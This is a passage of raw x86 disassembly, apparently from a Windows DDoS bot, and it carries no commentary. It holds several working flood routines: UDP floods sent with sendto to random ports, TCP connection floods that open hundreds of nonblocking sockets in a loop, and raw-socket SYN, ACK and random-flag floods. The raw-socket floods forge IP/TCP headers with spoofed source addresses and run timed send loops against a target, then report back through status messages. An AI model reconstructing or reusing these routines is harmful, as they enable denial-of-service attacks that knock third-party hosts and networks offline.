ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd push 1 pop esi mov [eax+120h], esi call ds:dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx push 11h push 2 push 2 call dword_4CBA54 ; socket mov ebx, eax xor edi, edi push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+Dst], 2 push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_414081 lea eax, [ebp+var_B0] push eax call dword_4CBA58 ; gethostbyname cmp eax, edi jnz short loc_41407A lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset asc_437A70 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_41405D push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_409869 add esp, 14h loc_41405D: ; CODE XREF: sub_413F9C+9Fj lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_20] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_41407A: ; CODE XREF: sub_413F9C+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_414084 ; --------------------------------------------------------------------------- loc_414081: ; CODE XREF: sub_413F9C+6Ej lea eax, [ebp+arg_0] loc_414084: ; CODE XREF: sub_413F9C+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_41409F call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_4140A2 ; --------------------------------------------------------------------------- loc_41409F: ; CODE XREF: sub_413F9C+F0j push [ebp+var_24] loc_4140A2: ; CODE XREF: sub_413F9C+101j call dword_4CB9D4 ; htons cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_4140B4 mov [ebp+var_24], esi loc_4140B4: ; CODE XREF: sub_413F9C+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_4140C1 mov [ebp+var_24], eax loc_4140C1: ; CODE XREF: sub_413F9C+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_4140D5 mov [ebp+var_28], esi loc_4140D5: ; CODE XREF: sub_413F9C+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_4140F6 loc_4140DC: ; CODE XREF: sub_413F9C+158j call _rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi+var_10311], dl jl short loc_4140DC loc_4140F6: ; CODE XREF: sub_413F9C+13Ej ; sub_413F9C+19Cj ... mov eax, [ebp+var_30] dec [ebp+var_30] test eax, eax jle short loc_414155 push 0Bh pop esi loc_414103: ; CODE XREF: sub_413F9C+197j lea eax, [ebp+Dst] push 10h push eax push edi call _rand push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4CBA38 ; sendto push [ebp+var_28] call ds:dword_427080 ; Sleep dec esi jnz short loc_414103 cmp [ebp+var_24], edi jnz short loc_4140F6 call _rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4CB9D4 ; htons mov [ebp+var_E], ax jmp short loc_4140F6 ; --------------------------------------------------------------------------- loc_414155: ; CODE XREF: sub_413F9C+162j lea eax, [ebp+var_B0] push eax lea eax, [ebp+Dest] push offset asc_437A44 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_414195 push edi ; int lea eax, [ebp+Dest] push [ebp+var_1C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_134] ; int call sub_409869 add esp, 14h loc_414195: ; CODE XREF: sub_413F9C+1D7j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_20] call sub_40B6D6 pop ecx pop ecx push edi call ds:dword_4270D4 ; ExitThread sub_413F9C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141B2 proc near ; DATA XREF: sub_401ACD+4CC4o Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_414313 add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_437A98 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414232 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409869 add esp, 14h loc_414232: ; CODE XREF: sub_4141B2+5Ej lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_4141B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414251 proc near ; CODE XREF: sub_414313+27p var_654 = byte ptr -654h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4CB9D4 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41430F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_41429C: ; CODE XREF: sub_414251+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4142A4: ; CODE XREF: sub_414251+7Aj push 0 push 1 push 2 call ds:dword_427204 ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4142C7 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_4271E0 ; ioctlsocket loc_4142C7: ; CODE XREF: sub_414251+64j add esi, 4 dec ebx jnz short loc_4142A4 lea esi, [ebp+var_654] mov ebx, edi loc_4142D5: ; CODE XREF: sub_414251+96j lea eax, [ebp+Dst] push 10h push eax push dword ptr [esi] call ds:dword_4271F8 ; connect add esi, 4 dec ebx jnz short loc_4142D5 push 64h call ds:dword_427080 ; Sleep lea esi, [ebp+var_654] mov ebx, edi loc_4142F9: ; CODE XREF: sub_414251+B4j push dword ptr [esi] call ds:dword_427200 ; closesocket add esi, 4 dec ebx jnz short loc_4142F9 dec [ebp+arg_4] jnz short loc_41429C pop edi pop esi pop ebx loc_41430F: ; CODE XREF: sub_414251+3Ej xor eax, eax leave retn sub_414251 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_414313(int,char *Str,int) sub_414313 proc near ; CODE XREF: sub_4141B2+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A8F0 push [esp+10h+Str] ; Str mov edi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov esi, eax push esi push ebx push edi call sub_414251 add esp, 18h test eax, eax jnz short loc_414349 push 1 pop eax loc_414349: ; CODE XREF: sub_414313+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_414313 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414358 proc near ; DATA XREF: sub_401ACD+636Bo Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = dword ptr -210h var_190 = byte ptr -190h var_110 = dword ptr -110h Str = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax ; int lea eax, [ebp+var_190] push eax ; Str lea eax, [ebp+var_210] push eax ; int call sub_4146A9 add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_437AC4 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4143D8 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409869 add esp, 14h loc_4143D8: ; CODE XREF: sub_414358+5Ej lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_414358 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F7 proc near ; CODE XREF: sub_4146A9+3Cp var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h Dst = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 ; WSAStartup test eax, eax jz short loc_414437 xor eax, eax jmp loc_4146A5 ; --------------------------------------------------------------------------- loc_414437: ; CODE XREF: sub_4143F7+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41469D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_414693 push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_8] call dword_4CB9D4 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB9D4 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB9D4 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB9D4 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:dword_42713C ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call ds:dword_427138 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call __allmul add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414522: ; CODE XREF: sub_4143F7+25Dj ; sub_4143F7+26Bj mov [ebp+var_24], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 ; htons mov [ebp+var_34], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call dword_4CB9D4 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_34] push edi ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_8C] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CBA38 ; sendto cmp eax, 0FFFFFFFFh jz short loc_414667 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:dword_427138 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_414690 jl loc_414522 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414690 jmp loc_414522 ; --------------------------------------------------------------------------- loc_414667: ; CODE XREF: sub_4143F7+247j call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_437AEC ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 10h jmp short loc_414693 ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: sub_4143F7+25Bj ; sub_4143F7+269j mov ebx, [ebp+arg_8] loc_414693: ; CODE XREF: sub_4143F7+78j ; sub_4143F7+297j push [ebp+var_C] call dword_4CBA6C ; closesocket pop esi loc_41469D: ; CODE XREF: sub_4143F7+5Bj call dword_4CB92C ; WSACleanup mov eax, ebx loc_4146A5: ; CODE XREF: sub_4143F7+3Bj pop edi pop ebx leave retn sub_4143F7 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4146A9(int,char *Str,int) sub_4146A9 proc near ; CODE XREF: sub_414358+3Cp arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A8F0 push [esp+10h+Str] ; Str mov esi, eax call _atoi push [esp+14h+arg_8] ; Str mov ebx, eax call _atoi mov edi, eax call _rand cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143F7 add esp, 1Ch test eax, eax jnz short loc_4146F4 push 1 pop eax loc_4146F4: ; CODE XREF: sub_4146A9+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4146A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414703 proc near ; DATA XREF: sub_401ACD+6D3Do Dest = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CBA14 ; inet_addr push eax call sub_4147A6 pop ecx pop ecx push eax lea eax, [ebp+Dest] push offset asc_437B0C ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414787 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_194] ; int call sub_409869 add esp, 14h loc_414787: ; CODE XREF: sub_414703+62j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_414703 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147A6 proc near ; CODE XREF: sub_414703+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Src = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Dst = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi push 1 pop ecx and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi mov ebx, 0FFh push 6 xor eax, eax pop edx lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi ; unsigned int call ??2@YAPAXI@Z ; operator new(uint) pop ecx mov [ebp+var_4], eax push edi push eax call dword_4CB9E8 ; gethostname push [ebp+var_4] call dword_4CBA58 ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4CBA54 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4CB9B4 ; setsockopt mov esi, 200h push esi ; Size call _malloc mov edi, ds:dword_4270B0 pop ecx mov [ebp+Dst], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4CB9D4 ; htons mov [ebp+var_96], ax loc_4148C1: ; CODE XREF: sub_4147A6+1FCj call edi ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja loc_4149A7 call _rand cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call _rand cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call _rand cdq mov ecx, 1FA4h mov [ebp+Src], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call _rand mov [ebp+var_20], ax call _rand push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4CB9D4 ; htons push esi mov [ebp+var_1E], ax call dword_4CB9D4 ; htons mov [ebp+var_22], ax mov [ebp+var_1C], bl call _rand push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+Src] push eax call sub_40AA5F mov [ebp+var_1A], ax lea eax, [ebp+Src] push 14h ; Size push eax ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+Dst] push [ebp+var_4] call dword_4CBA38 ; sendto jmp loc_4148C1 ; --------------------------------------------------------------------------- loc_4149A7: ; CODE XREF: sub_4147A6+12Cj push [ebp+Dst] call sub_41BA91 pop ecx push [ebp+var_4] call dword_4CBA6C ; closesocket push 1 pop eax pop edi pop esi pop ebx leave retn sub_4147A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4149C1 proc near ; DATA XREF: sub_401ACD+5306o Dest = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch Str = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h Src = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah Dst = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_4270B0 call edi ; GetTickCount push eax call sub_41C2B8 pop ecx push 0FFh push 3 push 2 call dword_4CBA54 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_414A8A call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_437C24 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414A6A push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409869 add esp, 14h loc_414A6A: ; CODE XREF: sub_4149C1+84j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_414A8A: ; CODE XREF: sub_4149C1+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_414B08 call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_437BEC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414AE8 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409869 add esp, 14h loc_414AE8: ; CODE XREF: sub_4149C1+102j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_414B08: ; CODE XREF: sub_4149C1+DFj lea eax, [ebp+var_23C] push eax call dword_4CBA14 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_414B78 lea eax, [ebp+Dest] push offset asc_437BCC ; "-" push eax ; Dest call _sprintf cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_414B58 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409869 add esp, 14h loc_414B58: ; CODE XREF: sub_4149C1+172j lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_BC] call sub_40B6D6 pop ecx pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_414B78: ; CODE XREF: sub_4149C1+157j push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push ebx call dword_4CB9D4 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4CBA14 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_414BB0: ; CODE XREF: sub_4149C1+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_414E74 push 28h mov [ebp+var_2C], 45h call dword_4CB9D4 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_414C23 call _rand mov esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_414C39 ; --------------------------------------------------------------------------- loc_414C23: ; CODE XREF: sub_4149C1+233j push [ebp+var_240] call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr mov [ebp+var_20], eax loc_414C39: ; CODE XREF: sub_4149C1+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_414C57 call _rand cdq mov ecx, 401h idiv ecx push edx jmp short loc_414C5D ; --------------------------------------------------------------------------- loc_414C57: ; CODE XREF: sub_4149C1+284j push [ebp+var_B8] loc_414C5D: ; CODE XREF: sub_4149C1+294j call dword_4CB9D4 ; htons mov [ebp+var_16], ax call _rand cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 ; htons push 12345678h mov [ebp+var_18], ax call dword_4CB9D0 ; htonl mov [ebp+var_14], eax lea eax, [ebp+Str] push offset aSyn ; "syn" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414CAD mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_414D09 ; --------------------------------------------------------------------------- loc_414CAD: ; CODE XREF: sub_4149C1+2E1j lea eax, [ebp+Str] push offset aAck ; "ack" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414CCD mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_414D09 ; --------------------------------------------------------------------------- loc_414CCD: ; CODE XREF: sub_4149C1+301j lea eax, [ebp+Str] push offset aRandom_0 ; "random" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414D09 call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_414D09: ; CODE XREF: sub_4149C1+2EAj ; sub_4149C1+30Aj ... push 200h mov [ebp+var_C], 50h call dword_4CB9D4 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+Src], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_4CB9D4 ; htons mov [ebp+var_5A], ax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, 